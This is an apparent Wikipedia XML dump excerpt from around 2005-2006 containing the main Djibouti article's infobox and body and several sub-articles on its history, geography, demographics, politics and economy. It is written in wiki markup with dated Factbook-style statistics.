|population_estimate_year = July 2005
|population_census = 460,700
|population_census_year = 2000
|population_density = 21
|population_densitymi² = 54  &lt;!-- Do not remove per [[WP:MOSNUM]]--&gt;
|population_density_rank = 154th
|GDP_PPP = $619 millon &lt;!-- cia.gov --&gt;
|GDP_PPP_rank = 205
|GDP_PPP_year= 2002 &lt;!-- 2005 cia.gov --&gt;
|GDP_PPP_per_capita = $1,878
|GDP_PPP_per_capita_rank = 150th
|sovereignty_type = [[Independence]]
|established_events = From [[France]]
|established_dates = [[June 27]], [[1977]]
|HDI = 0.495
|HDI_rank = 150th
|HDI_year = 2003
|HDI_category =  &lt;font color=&quot;#E0584E&quot;&gt;low&lt;/font&gt;
|currency = [[Djiboutian Franc|Franc]]
|currency_code = DJF
|country_code = 
|time_zone = 
|utc_offset = +4
|time_zone_DST = 
|utc_offset_DST = 
|cctld = [[.dj]]
|calling_code = 253
|footnotes = 
}}
The '''Republic of Djibouti''' ({{lang-ar|: جيبوتي}}, ''Ǧībūtī'') is a country in [[eastern Africa]], located in the [[Horn of Africa]]. Djibouti is bordered by [[Eritrea]] in the north, [[Ethiopia]] in the west and south, and [[Somalia]] in the southeast. The remainder of the border is formed by the [[Red Sea]] and the [[Gulf of Aden]]. On the other side of the Red Sea, on the [[Arabian Peninsula]], 20 kilometres (12&amp;nbsp;[[mile|mi]]) from the coast of Djibouti, is [[Yemen]].

==History==
''Main article: [[History of Djibouti]]''

The area of Djibouti has been occupied by several tribes,  currently the [[Afar (ethnicity)|Afar]] and the [[Somali (ethnicity)|Somali]] Issa. These tribes had regular trade contacts with the Arabs, and adopted [[Islam]] as their religion.

In the [[19th century]], [[France]] established a [[protectorate]] in the area, named '''French Somaliland''', governed by [[Léonce Lagarde]]. In [[1967]], the name was changed to the '''French Territory of the Afars and the Issas'''. On [[June 27]], [[1977]], the country was granted independence as '''Djibouti'''.

A civil war led by Afar rebels in the early [[1990s]] was stopped by a peace accord in [[1994]].

==Politics==
''Main article: [[Politics of Djibouti]]''

Ismail Omar Guelleh was in 2005 sworn in for a second and final six-year term as president of the tiny Horn of Africa nation, the official news agency, Agence Djiboutienne d'Information (ADI), reported. Guelleh won 100 percent of the votes cast in a one-man race on [[8 April]]. According to ADI, 78.9 percent of approximately 197,000 registered voters cast their ballots - at 200 voting booths - across the country. Opposition parties boycotted, describing the poll as &quot;ridiculous, rigged and rubbish&quot;. Present at the swearing in ceremony were several regional leaders. 

Djibouti's second president, Guelleh was first elected to office in 1999, taking over from his uncle, Hassan Gouled Aptidon, who had ruled the country since its independence from France in 1977. {{ref|www.irinnews.org.319}}

The head of state of Djibouti is the president, who is elected for a term of six years. The president appoints a prime-minister, and heads the council of ministers. 

The legislative body is formed by the ''Chambre des Deputes'', which consists of 65 members which are elected every five years.

==Subdivisions==
[[Image:Djibouti-regions.png|right|150px|Map of the Regions of Djibouti.]]
Djibouti is divided into five [[region]]s and one city.

* [[Ali Sabieh Region]] (''Region d'Ali Sabieh'')
* [[Arta Region]] (''Region d'Arta'')
* [[Dikhil Region]] (''Region de Dikhil'')
* [[Djibouti (city)]] (''Ville de Djibouti'')
* [[Obock Region]] (''Region d'Obock'')
* [[Tadjourah Region]] (''Region de Tadjourah'')

==Economy==
''Main article: [[Economy of Djibouti]]''

The economy of Djibouti is based on service activities connected with the country's strategic location and status as a free trade zone in northeast Africa. Two-thirds of the inhabitants live in the capital city, the remainder being mostly nomadic herders. Scant rainfall limits crop production to [[fruits]] and [[vegetables]], and most food must be imported.

Djibouti provides services as both a transit port for the region and an international transshipment and refueling center. It has few natural resources and little [[industry]]. The nation is, therefore, heavily dependent on foreign assistance to help support its balance of payments and to finance development projects. An [[unemployment]] rate of 40% to 50% continues to be a major problem. [[Inflation]] is not a concern, however, because of the fixed tie of the [[Djiboutian franc|franc]] to the US dollar. Per capita consumption dropped an estimated 35% over the last seven years because of [[recession]], [[civil war]], and a high [[population growth rate]] (including immigrants and refugees). Also, renewed fighting between Ethiopia and Eritrea has disturbed normal external channels of commerce. Faced with a multitude of economic difficulties, the government has fallen into arrears on long-term external debt and has been struggling to meet the stipulations of foreign aid donors.
[[Image:Djibouti_street.jpg|thumbnail|Typical street in the city of Djibouti, Djibouti, Africa.  Winter, 2005.]]
==Demographics==
{{unreferencedsect}}
''Main article: [[Demographics of Djibouti]]''

The population is divided into two main groups, the [[Issa]], or [[Somali (ethnicity)|Somali]] people, who make up about 60%, and the [[Afar (ethnicity)|Afar]], about 35%. The remainder is formed by [[Europe]]ans (mostly [[France|French]] and [[Italy|Italians]]), [[Arab]]s and [[Ethiopia]]ns. The presence of two different population groups was the cause of the civil war in the early [[1990s]].

The Somali ethnic component in Djibouti is mainly composed of the Issas, who form the majority and rule the nation, and the Gadabuursi and Isaaq, all of whom are closely related as [[Dir (clan)|Dir]] subclans. The Issas form part of the Madoobe Dir, while the Gadabuursi and Isaaq are part of the Mahe Dir, Mohammed Hiniftire. Other Somalis in Djibouti include [[Issa]]s from the Ethiopian [[Somali Region]] and from northern Somalia.

Almost all of the people of Djibouti are [[Muslim]], only a small percentage are [[Christianity|Christian]], notably the [[European]]s.

Although [[French language|French]] and [[Arabic language|Arabic]] are the official languages, [[Somali language|Somali]] and [[Afar language|Afar]] are widely spoken.

==Culture==
''Main article: [[Culture of Djibouti]]''

''See also:'' [[Music of Djibouti]], [[List of African writers (by country)#Djibouti|List of writers from Djibouti]]

==Miscellaneous topics==
* [[Communications in Djibouti]]
* [[Foreign relations of Djibouti]]
* [[Military of Djibouti]]
* [[Transportation in Djibouti]]
* [[List of fish on stamps of Afars and Issas]]

==Further reading==
* ''Djibouti: Pawn of the Horn of Africa'' Robert Saint-Veran
* ''Historical Dictionary of Djibouti'' Daoud A. Alwan
* ''Naval Strategy East of Suez: The Role of Djibouti'' Charles W. Koburger

==External links==
{{sisterlinks|Djibouti}}

===Government===
*[http://www.spp.dj Official Website (in French)]

===News===
*[http://allafrica.com/djibouti/ allAfrica] news headline links
*[http://www.djibnet.com/news/ Daily press review] in french and english

===Overviews===
*[http://news.bbc.co.uk/1/hi/world/africa/country_profiles/1070579.stm BBC News - ''Country Profile: Djibouti'']
*[http://www.cia.gov/cia/publications/factbook/geos/dj.html CIA World Factbook - ''Djibouti'']

===Directories===
*[http://www.djibnet.com/en/ ''Djibouti guide''] Comprehensive information and resources about Djibouti
*[http://www.al-bab.com/arab/countries/djibouti.htm Arab Gateway - ''Djibouti''] directory category
*[http://search.looksmart.com/p/browse/us1/us317916/us559898/us559899/us10065672/us559915/ LookSmart - ''Djibouti''] directory category
*[http://dmoz.org/Regional/Africa/Djibouti/ Open Directory Project - ''Djibouti''] directory category
*[http://www-sul.stanford.edu/depts/ssrg/africa/djibouti.html Stanford University - Africa South of the Sahara: ''Djibouti''] directory category
*[http://www.sas.upenn.edu/African_Studies/Country_Specific/Djibouti.html University of Pennsylvania - African Studies Center: ''Djibouti''] directory category
*[http://dir.yahoo.com/Regional/Countries/Djibouti/ Yahoo! - ''Djibouti''] directory category

===Tourism===
*{{wikitravel}}

==Notes==
&lt;!-- How to add a footnote: 
   NOTE: Footnotes in this article use names, not numbers. Please see [[Wikipedia:Footnotes]] for details.
     1) Assign your footnote a unique name, for example TheSun_Dec9. 
     2) Add the macro {{ref|TheSun_Dec9}} to the body of the article, where you want the new footnote.
     3) Take note of the name of the footnote that immediately precedes yours in the article body. 
     4) Add #{{Note|TheSun_Dec9}} to the list, immediately below the footnote you noted in step 3.  No need to re-number anything!
     5) Multiple footnotes to the same reference: see [[Wikipedia:Footnotes]] for a how-to.
   NOTE: It is important to add footnotes in the right order in the list!
--&gt;
# {{note|www.irinnews.org.319}} {{cite web | title=DJIBOUTI: Guelleh sworn in for second presidential term | url=http://www.irinnews.org/report.asp?ReportID=47007 | accessdate=December 4 | accessyear=2005 }}

{{Africa}}

{{CIAfb}}

[[Category:Djibouti|*]]
[[Category:Arab League]]
[[Category:African Union member states]]
[[Category:East Africa]]

[[an:Yibuti]]
[[ar:جيبوتي]]
[[bg:Джибути]]
[[bn:জিবুতি]]
[[bs:Džibuti]]
[[ca:Djibouti]]
[[cs:Džibutsko]]
[[da:Djibouti]]
[[de:Dschibuti]]
[[eo:Ĝibutio]]
[[es:Yibuti]]
[[et:Djibouti]]
[[fa:جیبوتی]]
[[fi:Djibouti]]
[[fr:Djibouti]]
[[gl:Xibutí - Djibouti]]
[[he:ג'יבוטי]]
[[hi:जिबूती]]
[[hr:Džibuti]]
[[ht:Djibouti (peyi)]]
[[hu:Dzsibuti]]
[[ia:Djibouti]]
[[id:Djibouti]]
[[io:Djibouti]]
[[is:Djíbútí]]
[[it:Gibuti]]
[[ja:ジブチ]]
[[ko:지부티]]
[[la:Dzibutum]]
[[li:Djiboeti]]
[[lt:Džibutis]]
[[lv:Džibuti]]
[[ms:Djibouti]]
[[na:Djibouti]]
[[nds:Dschibuti]]
[[nl:Djibouti]]
[[nn:Djibouti]]
[[no:Djibouti]]
[[oc:Categoria:Giboti]]
[[pl:Dżibuti]]
[[pt:Djibouti]]
[[ro:Djibouti]]
[[ru:Джибути]]
[[simple:Djibouti]]
[[sk:Džibutsko]]
[[sl:Džibuti]]
[[sq:Xhibuti]]
[[sr:Џибути]]
[[sv:Djibouti]]
[[sw:Djibouti]]
[[th:ประเทศจิบูตี]]
[[tl:Djibouti]]
[[tr:Cibuti]]
[[uk:Джибуті]]
[[zh:吉布提]]
[[zh-min-nan:Djibouti]]</text>
    </revision>
  </page>
  <page>
    <title>History of Djibouti</title>
    <id>8041</id>
    <revision>
      <id>33305850</id>
      <timestamp>2005-12-30T22:42:12Z</timestamp>
      <contributor>
        <username>FireFox</username>
        <id>358536</id>
      </contributor>
      <comment>[[WP:AWB|AWB Assisted]] clean up</comment>
      <text xml:space="preserve">The [[Djibouti|Republic of Djibouti]] gained its independence on [[June 27]], [[1977]]. It is the successor to [[French Somaliland]] (later called the [[Afars and Issas|French Territory of the Afars and Issas]]), which was created in the first half of the 19th century as a result of French interest in the [[Horn of Africa]]. However, the history of Djibouti, recorded in poetry and songs of its nomadic peoples, goes back thousands of years to a time when Djiboutians traded hides and skins for the perfumes and spices of ancient [[Egypt]], [[India]], and [[China]]. Through close contacts with the Arabian peninsula for more than 1,000 years, the Somali and Afar tribes in this region became among the first on the [[African]] continent to adopt [[Islam]].

==French Interest==
[[Image:Djibouti-c1905.jpg|thumb|300px|right|Place Menelik, Djibouti, c1905.]]It was [[Rochet d'Hericourt]]'s exploration into [[Shoa, Ethiopia|Shoa]] (1839-42) that marked the beginning of French interest in the African shores of the [[Red Sea]]. Further exploration by [[Henri Lambert]], French Consular Agent at Aden, and Captain [[Fleuriot de Langle]] led to a treaty of friendship and assistance between France and the sultans of [[Raheita]], [[Tadjoura]], and [[Gobaad]], from whom the French purchased the anchorage of [[Obock]] in [[1862]].

Growing French interest in the area took place against a backdrop of British activity in Egypt and the opening of the [[Suez Canal]] in 1869. In 1884-85, [[France]] expanded its protectorate to include the shores of the [[Gulf of Tadjoura]] and the [[Somaliland]], installing [[Léonce Lagarde]] as governor of this protectorate. Boundaries of the protectorate, marked out in 1897 by France and [[Emperor Menelik II of Ethiopia]], were reaffirmed by agreements with [[Emperor Haile Selassie I of Ethiopia]] in 1945 and 1954.

The administrative capital was moved from Obock to Djibouti in [[1896]]. [[Djibouti, Djibouti|Djibouti]], which has a good natural harbor and ready access to the Ethiopian highlands, attracted trade caravans crossing East Africa as well as Somali settlers from the south. The [[Franco-Ethiopian railway]], linking Djibouti to the heart of Ethiopia, was begun in 1897 and reached [[Addis Ababa]] in June 1917, increasing the volume of trade passing through the port.

==World War II==
During the Italian invasion and occupation of Ethiopia in the 1930s and during World War II, constant border skirmishes occurred between French and Italian forces. The area was ruled by the [[Vichy France|Vichy (French) government]] from the fall of France until December 1942, and fell under British blockade during that period. Free French and the Allied forces recaptured Djibouti at the end of 1942. A local battalion from Djibouti participated in the liberation of France in 1944.

==Reform==
On July 22, 1957, the colony was reorganized to give the people considerable self-government. On the same day, a decree applying the Overseas Reform Act (Loi Cadre) of [[June 23]], [[1956]], established a territorial assembly that elected eight of its members to an executive council. Members of the executive council were responsible for one or more of the territorial services and carried the title of minister. The council advised the French-appointed governor general.

In a September 1958 constitutional referendum, French Somaliland opted to join the French community as an overseas territory. This act entitled the region to representation by one deputy and one senator in the [[French Parliament]], and one counselor in the [[French Union]] Assembly.

The first elections to the territorial assembly were held on November 23, 1958, under a system of proportional representation. In the next assembly elections (1963), a new electoral law was enacted. Representation was abolished in exchange for a system of straight plurality vote based on lists submitted by political parties in seven designated districts. [[Ali Aref Bourhan]], allegedly of Turkish origin, was selected to be the president of the executive council. French President [[Charles de Gaulle]]'s August 1966 visit to Djibouti was marked by 2 days of public demonstrations by Somalis demanding independence. On [[September 21]], [[1966]], [[Louis Saget]], appointed governor general of the territory after the demonstrations, announced the French Government's decision to hold a referendum to determine whether the people would remain within the French Republic or become independent. In March 1967, 60% chose to continue the territory's association with France.

In July of that year, a directive from Paris formally changed the name of the region to the French Territory of Afars and Issas. The directive also reorganized the governmental structure of the territory, making the senior French representative, formerly the governor general, a high commissioner. In addition, the executive council was redesignated as the council of government, with nine members.

==Independence==
In 1975, the French Government began to accommodate increasingly insistent demands for independence. In June 1976, the territory's citizenship law, which favored the [[Afar (ethnicity)|Afar]] minority, was revised to reflect more closely the weight of the Issa Somali. The electorate voted for independence in a May 1977 referendum, and the Republic of Djibouti was established June that same year. [[Hassan Gouled Aptidon]] became the country's first president.

In 1981, Aptidon turned the country into a one party state by declaring that his party, the Rassemblement Populaire pour le Progrès (RPP) ([[People's Rally for Progress]]), was the sole legal one. Civil war broke out in 1991, between the government and a predominantly [[Afar (ethnicity)|Afar]] rebel group, the [[Front for the Restoration of Unity and Democracy]] (FRUD). The FRUD signed a peace accord with the government in December 1994, ending the conflict. Two FRUD members were made cabinet members, and in the presidential elections of 1999 the FRUD campaigned in support of the RPP. 

Aptidon resigned as president 1999, at the age of 83, after being elected to a fifth term in 1997. His successor was his nephew, [[Ismail Omar Guelleh]].

On May 12, 2001, President Ismail Omar Guelleh presided over the signing of what is termed the final peace accord officially ending the decade-long civil war between the government and the armed faction of the FRUD. The peace accord successfully completed the peace process begun on February 7, 2000 in Paris. Ahmed Dini Ahmed represented the FRUD.

==External links==
* [http://www.state.gov/r/pa/ei/bgn/5482.htm Background Note: Djibouti]
* [http://www.historyofnations.net/africa/djibouti.html   History of Djbouti]

==See also==
* [[Djibouti]]

{{Africa in topic|History of}}

{{Former French colonies}}


[[Category:Djibouti]]
[[Category:History by country|Djibouti]]

[[es:Historia de Yibuti]]
[[fr:Histoire de Djibouti]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Djibouti</title>
    <id>8042</id>
    <revision>
      <id>40559254</id>
      <timestamp>2006-02-21T12:31:39Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <comment>Fixed the map</comment>
      <text xml:space="preserve">[[Image:Djibouti Map.jpg|thumb|300px|right|Map of Djibouti]]
[[Djibouti]] is in Eastern [[Africa]], bordering the [[Gulf of Aden]] and the [[Red Sea]], between [[Eritrea]] and [[Somalia]].  Its coordinates are {{coor dm|11|30|N|43|00|E|type:country_scale:1000000}}.

Djibouti shares 113 km of border with [[Eritrea]], 337 with [[Ethiopia]] and 58 with [[Somalia]] (total 506 km).  It also has 314 km of coastline.

Its climate is mostly hot, dry [[desert]].  Mountains in the center of the country separate a [[coastal plain]] and a [[plateau]].  The lowest point is [[Lac Assal]] (&amp;minus;155 m) and the highest is [[Moussa Ali]] (2,028 m).  [[Natural resource]]s include [[geothermal energy]].  There is no [[arable land]], [[irrigation]] or [[permanent crop]]s, nor any [[forest]]s.  9% of the country is permanent [[pasture]]land ([[1993]] est).

'''Area:'''
&lt;br&gt;''total:''
23,000 km&amp;sup2;
&lt;br&gt;''land:''
22,980 km&amp;sup2;
&lt;br&gt;''water:''
20 km&amp;sup2;

'''Maritime claims:'''
&lt;br&gt;''contiguous zone:''
24 nm (44.4 km)
&lt;br&gt;''exclusive economic zone:''
200 nm (370.4 km)
&lt;br&gt;''territorial sea:''
12 nm (22.2 km)

'''Natural hazards:'''
earthquakes; droughts; occasional cyclonic disturbances from the Indian Ocean bring heavy rains and flash floods

'''Environment - current issues:'''
inadequate supplies of potable water; desertification

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
Biodiversity, Climate Change, Desertification, Endangered Species, [[Law of the Sea]], Ozone Layer Protection, Ship Pollution

'''Geography - note:'''
strategic location near world's busiest shipping lanes and close to Arabian oilfields; terminus of rail traffic into Ethiopia; mostly wasteland.

{{Africa in topic|Geography of}}

[[Category:Geography by country|Djibouti]]
[[Category:Geography of Djibouti| ]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Djibouti</title>
    <id>8043</id>
    <revision>
      <id>34641707</id>
      <timestamp>2006-01-10T18:44:41Z</timestamp>
      <contributor>
        <username>Warofdreams</username>
        <id>20855</id>
      </contributor>
      <comment>{{Africa in topic|Demographics of}}</comment>
      <text xml:space="preserve">About two-thirds of the [[Djibouti|Republic of Djibouti]]'s 652,000 inhabitants live in the capital city. The indigenous population is divided between the majority [[Somali]]s (predominantly of the [[Issa]] tribe, with minority [[Issak]] and [[Gadaboursi]] representation) and the [[Afars]] (Danakils). All are Cushitic-speaking peoples, and nearly all are [[Muslim]]. Among the 15,000 foreigners residing in Djibouti, the French are the most numerous. Among the French are 3,000 troops. 

'''Population:'''
451,442 (July 2000 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
43% (male 96,482; female 96,025)
&lt;br&gt;''15-64 years:''
55% (male 130,264; female 116,270)
&lt;br&gt;''65 years and over:''
2% (male 6,426; female 5,975) (2000 est.)

'''Population growth rate:'''
1.45% (2000 est.)

'''Birth rate:'''
40.98 births/1,000 population (2000 est.)

'''Death rate:'''
14.87 deaths/1,000 population (2000 est.)

'''Net migration rate:'''
-11.63 migrant(s)/1,000 population (2000 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.03 male(s)/female
&lt;br&gt;''under 15 years:''
1 male(s)/female
&lt;br&gt;''15-64 years:''
1.12 male(s)/female
&lt;br&gt;''65 years and over:''
1.08 male(s)/female
&lt;br&gt;''total population:''
1.07 male(s)/female (2000 est.)

'''Infant mortality rate:'''
103.32 deaths/1,000 live births (2000 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
50.82 years
&lt;br&gt;''male:''
49.01 years

&lt;br&gt;''female:''
52.68 years (2000 est.)

'''Total fertility rate:'''
5.8 children born/woman (2000 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Djiboutian(s)
&lt;br&gt;''adjective:''
Djiboutian

'''Ethnic groups:'''
Somali 60%, Afar 35%, French, Arab, Ethiopian, and Italian 5%

'''Religions:'''
Muslim 94%, Christian 6%

'''Languages:'''
French (official), Arabic (official), Somali, Afar

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
46.2%
&lt;br&gt;''male:''
60.3%
&lt;br&gt;''female:''
32.7% (1995 est.)

:''See also :'' [[Djibouti]]

{{Africa in topic|Demographics of}}

[[Category:Demographics by country|Djibouti]]
[[Category:Djibouti]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Djibouti</title>
    <id>8044</id>
    <revision>
      <id>40508946</id>
      <timestamp>2006-02-21T02:12:51Z</timestamp>
      <contributor>
        <username>Nuno Tavares</username>
        <id>157549</id>
      </contributor>
      <minor />
      <comment>pt:</comment>
      <text xml:space="preserve">{{Politics of Djibouti}}
'''Politics of Djibouti''' takes place in a framework of a [[semi-presidential system|semi-presidential]] [[republic]], [[Executive power]] is exercised by the government. [[Legislative power]] is vested in both the [[government]] and parliament. The party system is dominated by the conservative [[People's Rally for Progress]].
==Political developments==
In 1981, [[Hassan Gouled Aptidon]] was elected as President of [[Djibouti]]. He was re-elected, unopposed, to a second 6-year term in April 1987 and to a third 6-year term in May 1993 multiparty elections. The electorate approved the current constitution in September 1992. Many laws and decrees from before independence remain in effect.

In early 1992, the government decided to permit multiple party politics and agreed to the registration of four political parties. By the time of the national assembly elections in December 1992, only three had qualified. They are the ''Rassemblement Populaire Pour le Progres'' ([[People's Rally for Progress]]) (RPP) which was the only legal party from 1981 until 1992, the ''Parti du Renouveau Democratique'' (The [[Party for Democratic Renewal]]) (PRD), and the ''Parti National Democratique'' ([[National Democratic Party]]) (PND). Only the RPP and the PRD contested the national assembly elections, and the PND withdrew, claiming that there were too many unanswered questions on the conduct of the elections and too many opportunities for government fraud. The RPP won all 65 seats in the national assembly, with a turnout of less than 50% of the electorate.

In 1999, President Hassan Gouled Aptidon's chief of staff, head of security, and key advisor for over 20 years, [[Ismail Omar Guelleh]] was elected to the Presidency as the RPP candidate. He received 74% of the vote, the other 26% going to opposition candidate [[Moussa Ahmed Idriss]], of the [[Unified Djiboutian Opposition]] (ODU). For the first time since independence, no group boycotted the election. Moussa Ahmed Idriss and the ODU later challenged the results based on election &quot;irregularities&quot; and the assertion that &quot;foreigners&quot; had voted in various districts of the capital; however, international and locally based observers considered the election to be generally fair, and cited only minor technical difficulties. Ismail Omar Guelleh took the oath of office as the second President of the Republic of Djibouti on [[May 8]], [[1999]], with the support of an alliance between the RPP and the government-recognized section of the Afar-led FRUD.

Currently, political power is shared by a Somali president and an Afar prime minister, with cabinet posts roughly divided. However, it is the Issas who presently dominate the government, civil service, and the ruling party, a situation that has bred resentment and political competition between the Somali Issas and the Afars.

In early November 1991, civil war erupted in Djibouti between the government and a predominantly Afar rebel group, the [[Front for the Restoration of Unity and Democracy]] (FRUD). The FRUD signed a peace accord with the government in December 1994, ending the conflict. Two FRUD members were made cabinet members, and in the presidential elections of 1999 the FRUD campaigned in support of the RPP. In February 2000, another branch of FRUD signed a peace accord with the government.

On [[12 May]] [[2001]], President [[Ismail Omar Guelleh]] presided over the signing of what is termed the final peace accord officially ending the decade-long civil war between the government and the armed faction of the FRUD. The peace accord successfully completed the peace process begun on [[7 February]] [[2000]] in Paris. [[Ahmed Dini Ahmed]] represented the FRUD.

Djibouti has its own armed forces, including a small army, which has grown significantly since the start of the civil war. In recent years the armed force has downsized and with the peace accord with the FRUD in 2001, the armed forces are expected to continue its downsizing. The country's security also is supplemented by a special security arrangement with the Government of [[France]]. France maintains one of its largest military bases outside France in Djibouti. There are some 2,600 French troops, which includes a unit of the [[French Foreign Legion]], stationed in Djibouti.

The right to own property is respected in Djibouti. The government has reorganized the [[labor union]]s. While there have been open elections of union leaders, the Government of Djibouti is working with the ILO to hold new elections.

Although women in Djibouti enjoy a higher public status than in many other [[Islam]]ic countries, women's rights and family planning face difficult challenges, many stemming from poverty. Few women hold senior positions. Education of girls still lags behind boys and, because of the high unemployment rate, employment opportunities are better for male applicants. 

==Executive branch==
{{office-table}}
|[[Heads of State of Djibouti|President]]
|[[Ismail Omar Guelleh]]
|[[People's Rally for Progress|RPP]]
|[[8 May]] [[1999]]
|-
|[[Heads of government of Djibouti|Prime Minister]]
|[[Dileita Mohamed Dileita]]
|[[People's Rally for Progress|RPP]]
|[[4 March]] [[2001]]
|}
The president is elected by popular vote for a six-year term. The prime minister is appointed by the president and the Council of Ministers is responsible to the president.

==Legislative branch==
The '''National Assembly''' (''Assemblée Nationale'') has 65 members, 33 Issa and 32 Afar, elected for a five year term in multi-seat (4 to 37 seats) [[constituency|constituencies]]. 

==Political parties and elections==
{{elect|List of political parties in Djibouti|Elections in Djibouti}}
{{Djibouti presidential election, 2005}}
{{Djibouti_parliamentary_election,_2003}}

==Judicial branch==
Supreme Court or Cour Supreme

==Administrative divisions==
Djibouti is divided in 5 districts (cercles, singular - cercle); 'Ali Sabih, Dikhil, Djibouti, Obock, Tadjoura.

==International organization participation==
[[ACCT]], [[ACP (Lomé Convention)|ACP]], [[AfDB]], [[AFESD]], [[Arab League|AL]], [[AMF]], [[United Nations Economic Commission for Africa|ECA]], [[Food and Agriculture Organization|FAO]], [[G-77]], [[IBRD]], [[ICAO]], [[International Criminal Court|ICC]], [[ICFTU]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[IDB]], [[IFAD]], [[IFC]], [[IFRCS]], [[IGAD]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization|IMO]], [[Intelsat]] (nonsignatory user), [[Interpol]], [[IOC]], [[International Telecommunication Union|ITU]], [[NAM]], [[OAU]], [[Organization of the Islamic Conference|OIC]], [[OPCW]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNIDO]], [[UPU]], [[WFTU]], [[World Health Organization|WHO]], [[WMO]], [[WToO]], [[WTrO]]

{{Africa in topic|Politics of}}

[[Category:Djibouti]]


[[fr:Politique de Djibouti]]
[[pt:Política do Djibouti]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Djibouti</title>
    <id>8045</id>
    <revision>
      <id>40509067</id>
      <timestamp>2006-02-21T02:14:27Z</timestamp>
      <contributor>
        <username>Nuno Tavares</username>
        <id>157549</id>
      </contributor>
      <minor />
      <comment>pt:</comment>
      <text xml:space="preserve">[[Djibouti]]'s fledgling economy depends on a large foreign expatriate community, the maritime and commercial activities of the Port of Djibouti, its airport, and the operation of the Addis Ababa-Djibouti railroad. During the civil war (1991-94), there was a significant diversion of government budgetary resources from developmental and social services to military needs. [[France]] is insisting that future aid be conditional on an overhaul of Djibouti's dilapidated state finances in conjunction with the [[International Monetary Fund]]. [[Agriculture]] and [[industry]] are little developed, in part due to the harsh climate, high production costs, [[unskilled labor]], and limited [[natural resources]]. Only a few [[mineral]] deposits exist in the country, and the arid soil is unproductive--89% is desert wasteland, 10% is pasture, and 1% is forested. Services and commerce provide most of the gross domestic product.

Djibouti's most important economic asset is its strategic location on the shipping routes between the [[Mediterranean Sea]] and the [[Indian Ocean]]--the Republic lies on the west side of the [[Bab-el-Mandeb]], which connects the Red Sea and the [[Gulf of Aden]]. Its port is an important transshipment point for containers. It also functions as a bunkering port and a small French naval facility. Business increased at Djibouti port when hostilities between [[Eritrea]] and [[Ethiopia]] denied Ethiopia access to the Eritrean port of Assab. Djibouti became the only significant port for landlocked Ethiopia, handling all its imports and exports, including huge shipments of U.S. food aid in 2000 during the drought and famine. In 2000, Jebel Ali Port Mangers, who manage the port of Dubai, took over management of Djibouti&amp;rsquo;s port. This was part of a regional management scheme that also included the port of Beirut. As a result, the Port of Djibouti has increased its efficiency and is positioned to be a major port and transshipment port for the Red Sea.

The [[Addis Ababa-Djibouti railroad]] is the only line serving central and southeastern Ethiopia. The single-track railway--a prime source of employment--occupies a prominent place in Ethiopia's internal distribution system for domestic commodities such as cement, cotton textiles, sugar, cereals and charcoal.

Principal exports from the region transiting Djibouti are [[coffee]], [[salt]], hides, dried [[bean]]s, [[cereal]]s, other agricultural products, and [[wax]]. Djibouti itself has few exports, and the majority of its imports come from France. Most imports are consumed in Djibouti, and the remainder goes to Ethiopia and northwestern [[Somalia]]. Djibouti's unfavorable [[balance of trade]] is offset partially by invisible earnings such as transit taxes and harbor dues. In 1999, U.S. exports to Djibouti totaled $26.7 million while U.S. imports from Djibouti were less than $100,000.

The city of Djibouti has the only paved airport in the republic. Djibouti has one of the most liberal economic regimes in Africa, with almost unrestricted banking and commerce sectors. 

'''GDP:'''
purchasing power parity - $619 million (2002est.)

'''GDP - real growth rate:'''
2% (1999 est.)

'''GDP - per capita:'''
purchasing power parity - $1,200 (1999 est.)

'''GDP - composition by sector:'''
&lt;br&gt;''agriculture:''
3%
&lt;br&gt;''industry:''
20%
&lt;br&gt;''services:''
77% (1996 est.)

'''Population below poverty line:'''
NA%

'''Household income or consumption by percentage share:'''
&lt;br&gt;''lowest 10%:''
NA%
&lt;br&gt;''highest 10%:''
NA%

'''Inflation rate (consumer prices):'''
0% (1999 est.)

'''Labor force:'''
282,000

'''Labor force - by occupation:'''
agriculture 75%, industry 11%, services 14% (1991 est.)

'''Unemployment rate:'''
40%-50% (1996 est.)

'''Budget:'''
&lt;br&gt;''revenues:''
$156 million
&lt;br&gt;''expenditures:''
$175 million, including capital expenditures of $NA (1997 est.)

'''Industries:'''
limited to a few small-scale enterprises, such as dairy products and mineral-water bottling

'''Industrial production growth rate:'''
3% (1996 est.)

'''Electricity - production:'''
177 GWh (1998)

'''Electricity - production by source:'''
&lt;br&gt;''fossil fuel:''
100%
&lt;br&gt;''hydro:''
0%
&lt;br&gt;''nuclear:''
0%
&lt;br&gt;''other:''
0% (1998)

'''Electricity - consumption:'''
165 GWh (1998)

'''Electricity - exports:'''
0 kWh (1998)

'''Electricity - imports:'''
0 kWh (1998)

'''Agriculture - products:'''
fruits, vegetables; goats, sheep, camels

'''Exports:'''
$260 million (f.o.b., 1999 est.)

'''Exports - commodities:'''
reexports, hides and skins, coffee (in transit)

'''Exports - partners:'''
Somalia 53%, Yemen 23%, Ethiopia 5%, (1998)

'''Imports:'''
$440 million (f.o.b., 1999 est.)

'''Imports - commodities:'''
foods, beverages, transport equipment, chemicals, petroleum products

'''Imports - partners:'''
France 13%, Ethiopia 12%, Italy 9%, Saudi Arabia 6%, UK 6% (1998)

'''Debt - external:'''
$350 million (1999 est.)

'''Economic aid - recipient:'''
$106.3 million (1995)

'''Currency:'''
1 Djiboutian franc (DF) = 100 centimes

'''Exchange rates:'''
Djiboutian francs (DF) per US$1 - 177.721 (fixed rate since 1973)

'''Fiscal year:'''
calendar year

:''See also :'' [[Djibouti]]

{{WTO}}

[[Category:WTO members|Djibouti]]
[[Category:Economies by country|Djibouti]]
[[Category:Djibouti]]
[[Category:African Union member economies|Djibouti]]
[[lt:Džibu&amp;#269;io ekonomika]]
[[pt:Economia do Djibouti]]</text>
    </revision>
  </page>
  <page>
    <title>Communications in Djibouti</title>
